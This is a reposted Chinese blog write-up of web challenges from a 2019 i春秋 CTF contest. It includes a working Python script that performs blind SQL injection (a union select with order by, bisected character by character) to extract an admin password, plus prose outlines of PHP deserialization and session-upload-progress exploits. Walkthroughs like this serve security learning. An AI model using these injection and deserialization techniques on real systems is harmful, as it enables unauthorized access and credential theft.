我是靠谱客的博主 简单心情,最近开发中收集的这篇文章主要介绍i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

i春秋 2019-10月CTF答题夺旗赛 web部分wp

1.easyphp

在这里插入图片描述
通过观察可以发现img传参base64解码;同样的方法可得index.php源码
之后构造序列化。。。。。

2、calculate1,2
在这里插入图片描述
写wp前删掉了脚本,简述下:利用selenium运算公式并结合chromedriver进行10次提交

3、babysql
在这里插入图片描述
在这里插入图片描述
之后测试admin’orderby 1# 到3,直到4时
在这里插入图片描述
得知列数为3,通过fuzz发现union select可用,且页面返回第二列的内容即用户名,且常规注入不可行。尝试order by盲注,payload=admin’union select 1,2,‘c’ order by 3#。发现当字符小于等于密码时,显示2,当大于密码时显示admin。
由此写出脚本:

import requests
url = "http://120.55.43.255:13004/login.php"
print(hex(61))
flag = ""
for i in range(1, 50):
    print(i)
    end = 31
    head = 127
    while abs(head - end) > 1:
        mid = (end + head) // 2
        print(mid)
        data1 = flag + chr(mid)
        print(data1)
        sql = "admin'union select 1,2,0x{} order by 3#".format(data1.encode("hex"))
        s = requests.session()
        data = {
            'username': sql,
            'passwd': 'admin'
        }
        print(sql)
        result = requests.post(url=url, data=data)

        if "admin" in result.text:
            head = mid
        else:
            end = mid

    flag = flag + chr(end)

    print('flag:' + flag)
print("flag:" + flag)

在这里插入图片描述
这里要注意大小写,因为MySQL比较大小时是不区分的。
最后一位是d,因为最后一位时就是正确的admin的passwd应该往后取一位

4、best_language
在这里插入图片描述
进来就是代码审计,第一个点:提交%s即可绕过
第二个点:传参时第一个参数为first=’u’
第三个点:变量覆盖,查找参数为数组的变量覆盖的函数,发现了extract。
随即传参,可以由文件包含得到class.php源码。
在这里插入图片描述
上来看到前两行,PHP_SESSION_UPLOAD_PROGRESS的利用
构造表单,抓包改参数。
代码大致意思由Monitor反序列化触发Welcome的__toString魔术方法,接着用到Come的execute方法,有个substr的waf还是好绕的,/…/即可。
在这里插入图片描述
熟悉的flag,之后利用之前的文件包含获取flag。

5.easy_encode

在这里插入图片描述
看到102 且大部分在127下。尝试了ascii编码转换,得到flag

最后

以上就是简单心情为你收集整理的i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp的全部内容,希望文章能够帮你解决i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(37)

评论列表共有 0 条评论

立即
投稿
返回
顶部